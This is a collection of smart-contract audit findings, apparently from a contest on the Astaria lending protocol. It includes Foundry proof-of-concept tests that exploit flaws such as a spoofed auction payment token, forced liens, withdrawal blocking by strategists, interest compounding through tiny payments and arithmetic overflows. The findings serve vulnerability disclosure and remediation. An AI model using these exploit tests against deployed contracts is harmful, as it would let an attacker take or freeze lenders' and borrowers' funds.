Astaria contest - evan's results

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L114-L178

Vulnerability details

Impact

The safeTransfer function in ClearingHouse can be called by anyone, and the paymentToken used in the subsequent _execute function can be spoofed.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L166 Observe that this function call only be executed once per auction. As a result, a malicious user can call this function with a worthless paymentToken and finish the auction prematurely on Astaria's end. This will cause the Lien payees to not receive the liquidation payment that they are due.

Proof of Concept

Consider the following test. A malicious actor transfers worthless tokens to the clearingHouse, then calls clearingHouse.safeTransferFrom. Afterwards, the collateralToken is burned so safeTransferFrom cannot be called again (you can try uncommenting the _bid function in the test). Therefore, the lien payees will not receive the payments they are due.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

// import {WorthlessCoin} from "utils/worthlesscoin.sol";
import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {ClearingHouse} from "../ClearingHouse.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

contract WorthlessCoin is ERC20("WORTHLESS", "WORTHLESS", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testSpoofPaymentToken () public {
    WorthlessCoin wc = new WorthlessCoin();
    wc.mint(address(this), 1000 ether);

    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);
    address liquidator = address(7);
    

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault
    );
    
    // borrow 10 eth against the dummy NFT
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });
    
    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse clearingHouse = COLLATERAL_TOKEN.getClearingHouse(collateralId);

    vm.warp(block.timestamp + standardLienDetails.duration);
    vm.startPrank(liquidator);
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
    vm.stopPrank();

    assertEq(nft.ownerOf(tokenId), address(clearingHouse));
    
    ERC20(wc).transfer(address(clearingHouse), 500 ether);
    clearingHouse.safeTransferFrom(address(0), address(this), uint256(uint160(address(wc))), 0, "");

    vm.expectRevert();
    COLLATERAL_TOKEN.ownerOf(tokenId);

    ERC20(wc).transfer(address(clearingHouse), 500 ether);
    vm.expectRevert();
    clearingHouse.safeTransferFrom(address(0), address(this), uint256(uint160(address(wc))), 0, "");

    //_bid(Bidder(bidder, bidderPK), listedOrder, 500 ether);
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

I'm not entirely sure what the typical practice is to integrate with seaport auctions, but perhaps this is missing some access control.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/Vault.sol#L72

Vulnerability details

Impact

SafeTransferFrom requires approval, so it's not possible for the vault owner to withdraw from his private vault.

Proof of Concept

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";
import {Vault} from "../Vault.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testCantWithdraw() public {

    address privateVault = _createPrivateVault({
      strategist: address(this),
      delegate: address(0)
    });

    vm.deal(address(this), 50 ether);
    WETH9.deposit{value: 50 ether}();
    WETH9.approve(privateVault, 50 ether);
    Vault(privateVault).deposit(50 ether, address(this));
    vm.expectRevert();
    Vault(privateVault).withdraw(10 ether);
    
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Use safeTransfer instead.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L330-L334

Vulnerability details

Impact

Due to an arithmetic overflow, when every liquidity provider withdraws at once, processEpoch reverts, preventing the liquidity providers from withdrawing.

Since only the withdrawProxy of the previous epoch can receive fund from the vault, the current withdrawProxy will not receive fund from the vault unless processEpoch is called. Even if there is a liquidation, users can't withdraw from the proxy unless the vault calls claim on it, which only happens within the processEpoch function.

The only way to fix this is for someone to deposit into the vault, which will lower liquidationWithdrawRatio. But in a time where everyone is trying to withdraw, there's probably something wrong with the vault, so I'm not sure anyone would want to do something like this.

Proof of Concept

The problematic code segment does not consider the fact that totalAssets is never less than, and usually greater than yIntercept. So when liquidationWithdrawRatio is equal to 1, processEpoch will revert due to integer underflow.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testProcessEpochDOS() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault
    );
    
    // borrow 10 eth against the dummy NFT
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });

    vm.warp(block.timestamp + 3 days);

    _signalWithdraw(address(1), publicVault);
    _warpToEpochEnd(publicVault);
    vm.expectRevert();
    PublicVault(publicVault).processEpoch();
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

It depends on what the intended behavior is. But a safe bet is to make sure s.yIntercept >= totalAssets().mulDivDown(s.liquidationWithdrawRatio, 1e18) before doing the subtraction.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L231-L244

Vulnerability details

Impact

In the commitToLien function of VaultImplementation, the caller can specify a receiver. The request is considered valid if the receiver holds the collateralToken. Therefore, strategists (who can approve arbitrary liens), or any user with an approved lien request, can get the holder of a collateralToken to commit to a lien without their permission.

Proof of Concept

Consider the following test where the victim is forced into a lien by the strategist.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";



contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function _customCommitToLien(
    address vault, // address of deployed Vault
    address strategist,
    uint256 strategistPK,
    address tokenContract, // original NFT address
    uint256 tokenId, // original NFT id
    ILienToken.Details memory lienDetails, // loan information
    uint256 amount, // requested amount
    address victim
  )
    internal
    returns (uint256 lienId, ILienToken.Stack[] memory newStack)
  {
    IAstariaRouter.Commitment memory terms = _generateValidTerms({
      vault: vault,
      strategist: strategist,
      strategistPK: strategistPK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: lienDetails,
      amount: amount,
      stack: new ILienToken.Stack[](0)
    });

    ERC721(tokenContract).setApprovalForAll(address(ASTARIA_ROUTER), true);
    COLLATERAL_TOKEN.setApprovalForAll(address(ASTARIA_ROUTER), true);
    (lienId, newStack, ) = VaultImplementation(vault).commitToLien(terms, victim);
  }

  function testSpoofCommitLien() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    address victim = address(this);
    uint256 tokenId = uint256(0);
    uint256 collateralId = tokenContract.computeId(tokenId);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault
    );

    ERC721(tokenContract).safeTransferFrom(
      address(this),
      address(COLLATERAL_TOKEN),
      tokenId,
      ""
    );
    
    assertEq(LIEN_TOKEN.getCollateralState(collateralId), bytes32(0));
    vm.startPrank(strategistOne);
    (, ILienToken.Stack[] memory stack) = _customCommitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      victim: victim
    });
    assertTrue(LIEN_TOKEN.getCollateralState(collateralId) != bytes32(0));
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

I don't think the receiver field is essential. Requiring the caller of commitToLien to be the holder of the collateralToken can solve this issue.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L597-L609 https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L819

Vulnerability details

Impact

Strategist interest reward is not calculated correctly. The reward will almost always be calculated with interestOwed, regardless of the amount paid.

As a result, the strategist gets paid more than they are supposed to. Even if the borrower hasn't made a single payment, the strategist can make a tiny payment on behalf of the borrower to trigger this calculation.

This also encourages the strategist to maximize interestOwed and make tiny payments on behalf of the borrower. This can trigger a compound interest vulnerability which I've made a separate report about.

Proof of Concept

As confirmed by the sponsor, the strategist reward is supposed to be "paid on performance and only@on interest. if the payment that’s being made is greater than the interest owing we only mint them based on the interest owed, but if it’s less, then, mint their shares based on the amount"

However, this is not the case. When LienToken calls beforePayment, which calls _handleStrategistInterestReward, the amount passed in is the amount of the lien (stack.point.amount), not the amount paid.

Tools Used

VSCode

Recommended Mitigation Steps

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L819 I believe stack.point.amount should be changed to amount.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L562-L568 https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L702-L704

Vulnerability details

Impact

The slope of public vault can overflow in the afterPayment function due to unchecked addition. When this happens, totalAssets will not be correct. This can also result in underflows in slope updates elsewhere, causing large fluctuations in slope and totalAssets.

Proof of Concept

Assume the token is a normal 18 decimal ERC20 token. After 5 loans of 1000 tokens, all with the maximum interest rate of 63419583966, the slope will overflow. 5 * 1000 * 63419583966 / 2^48 = 1.1265581173

Tools Used

VSCode

Recommended Mitigation Steps

Remove the unchecked block. Also, I think 48 bits might not be enough for slope.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L471-L489

Vulnerability details

Impact

Liquidator reward is not taken into account when calculating potential debt. When liquidationInitialAsk is set to the bare minimum, liquidator reward will always come at the expense of vaults late on in the stack.

Proof of Concept

Consider the following test where the vault loses more than 3 tokens.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";
import {Vault} from "../Vault.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testProfitFromLiquidatorFee() public {

    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault
    );

    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: ILienToken.Details({
        maxAmount: 50 ether,
        rate: (uint256(1e16) * 150) / (365 days),
        duration: 10 days,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 42 ether
      }),
      amount: 40 ether,
      isFirstLien: true
    });

    vm.warp(block.timestamp + 10 days);
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );

    _bid(Bidder(bidder, bidderPK), listedOrder, 42 ether);
    assertTrue(WETH9.balanceOf(publicVault) < 57 ether);
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Include liquidator reward in the calculation of potential debt.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L582-L584

Vulnerability details

Impact

The yIntercept of a public vault can overflow due to an unchecked addition. As a result, totalAsset will be a lot lower than the actual amount, which prevents liquidity providers from withdrawing a large fraction of their assets.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L323-L325

The amount of assets required for this to happen is barely feasible for a regular 18 decimal ERC20 token, but can happen with ease for tokens with higher precision

Proof of Concept

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testYinterceptOverflow() public {
    
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 309000000 ether}),
      publicVault
    );
    _lendToVault(
      Lender({addr: address(2), amountToLend: 10000000 ether}),
      publicVault
    );
    assertTrue(PublicVault(publicVault).totalAssets() < 10000000 ether);
    
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Remove the unchecked block.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L313-L351

Vulnerability details

Impact

By calling buyoutLien before transferWithdrawReserve() is invoked (front-run if necessary), Public vault owner (strategist) can indefinitely prevent liquidity providers from withdrawing. He now effectively owns all the fund in the public vault.

Proof of Concept

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L295 https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L421 Before commitLien, transferWithdrawReserve() is invoked to transfer available funds from the public vault to the withdrawProxy of the previous epoch. However, this is not the case for buyoutLien. https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L372-L382 As soon as there's fund is available in the vault, the strategist can call buyoutLien before any calls to transferWithdrawReserve(), and the withdrawProxy will need to continue to wait for available fund. The only thing that can break this cycle is a liquidation, but the strategist can prevent this from happening by only buying out liens from vaults he control where he only lends out to himself.

Consider the following test. Even though there is enough fund in the vault for the liquidity provider's withdrawal (60 ether), only less than 20 ethers ended up in the withdrawProxy when transferWithdrawReserve() is preceeded by buyoutLien().

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testBuyoutBeforeWithdraw() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault
    );

    address publicVault2 = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 7 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 60 ether}),
      publicVault2
    );

    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 40 ether,
      isFirstLien: true
    });

    vm.warp(block.timestamp + 3 days);

    IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({
      vault: publicVault2,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: ILienToken.Details({
        maxAmount: 50 ether,
        rate: (uint256(1e16) * 70) / (365 days),
        duration: 25 days,
        maxPotentialDebt: 53 ether,
        liquidationInitialAsk: 500 ether
      }),
      amount: 10 ether,
      stack: stack
    });

    _signalWithdraw(address(1), publicVault2);
    _warpToEpochEnd(publicVault2);
    PublicVault(publicVault2).processEpoch();

    
    VaultImplementation(publicVault2).buyoutLien(
      stack,
      uint8(0),
      refinanceTerms
    );
    

    PublicVault(publicVault2).transferWithdrawReserve();

    WithdrawProxy withdrawProxy = PublicVault(publicVault2).getWithdrawProxy(0);

    assertTrue(WETH9.balanceOf(address(withdrawProxy)) < 20 ether);
    
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Enforce a call to transferWithdrawReserve() before a buyout executes (similar to commitLien)

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L826-L830

Vulnerability details

Impact

After a payment, the amount of the Lien is set to be the previous owed amount (which includes the interest) minus the amount paid. This is typically fine if the amount covers the interest accrued.

However, a malicious user, which could be the strategist, can call the makePayment function on behalf of the borrower and make a tiny payment, effectively causing the interest to compound.

Proof of Concept

Consider this following test. For a loan of 1000 tokens, the borrower has to pay almost 10 tokens more in interest.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";
import {
  MultiRolesAuthority
} from "solmate/auth/authorities/MultiRolesAuthority.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";

import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import {PublicVault} from "../PublicVault.sol";
import {TransferProxy} from "../TransferProxy.sol";
import {WithdrawProxy} from "../WithdrawProxy.sol";

import {Strings2} from "./utils/Strings2.sol";

import "./TestHelpers.t.sol";
import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol";

contract AstariaTest is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  event NonceUpdated(uint256 nonce);
  event VaultShutdown();

  function testCompundingInterest() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });
    _lendToVault(
      Lender({addr: address(1), amountToLend: 1000 ether}),
      publicVault
    );
    
    (, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails:  ILienToken.Details({
        maxAmount: 1100 ether,
        rate: (uint256(1e16) * 200) / (365 days),
        duration: 25 days,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 1100 ether
      }),
      amount: 1000 ether,
      isFirstLien: true
    });
    uint256 end = stack[0].point.end;
    uint256 expectedOwed = LIEN_TOKEN.getOwed(stack[0], end);

    vm.startPrank(strategistOne);
    // note that this is 100 NOT 100 ether
    vm.deal(strategistOne, 100);
    WETH9.deposit{value: 100}();
    WETH9.approve(address(TRANSFER_PROXY), 100);
    uint256 collateralId = tokenContract.computeId(tokenId);
    for (uint256 i = 0; i < 20; ++i){
      vm.warp(block.timestamp + 1 days);
      // note that this is 1 NOT 1 ether
      stack = LIEN_TOKEN.makePayment(collateralId, stack, 1);
    }

    assertTrue(LIEN_TOKEN.getOwed(stack[0], end) - expectedOwed > 9 ether);
  }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

It depends on the intended behavior. One possible solution is to require the payment to at least cover the interest accrued.

Low 1: Setting feeTo without setting protocolFeeDenominator causes DOS for all vaults (no one can borrow from them anymore)

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L379-L410 https://github.com/code-423n4/2023-01-astaria/blob/main/src/AstariaRouter.sol#L650-L655 Setting feeTo will trigger ROUTER().getProtocolFee(amount) in handleProtocolFee which gets called in every successful commitToLien. This will trigger a division by 0 if protocolFeeDenominator is not set or set to 0.

Low 2: Unnecessary payable functions

Mint, withdraw, deposit, redeem functions in astariaRouter are all payable but msg.value doesn't seem to be used anywhere (even in the super.{mint, withdraw, deposit, redeem}).

Low 3: getAmountOwingAtLiquidation is incorrect since s.auctionData[stack.lien.collateralId].stack is never written to

https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L550 In LienToken.sol, the only line that updates s.auctionData updates the liquidator. https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L302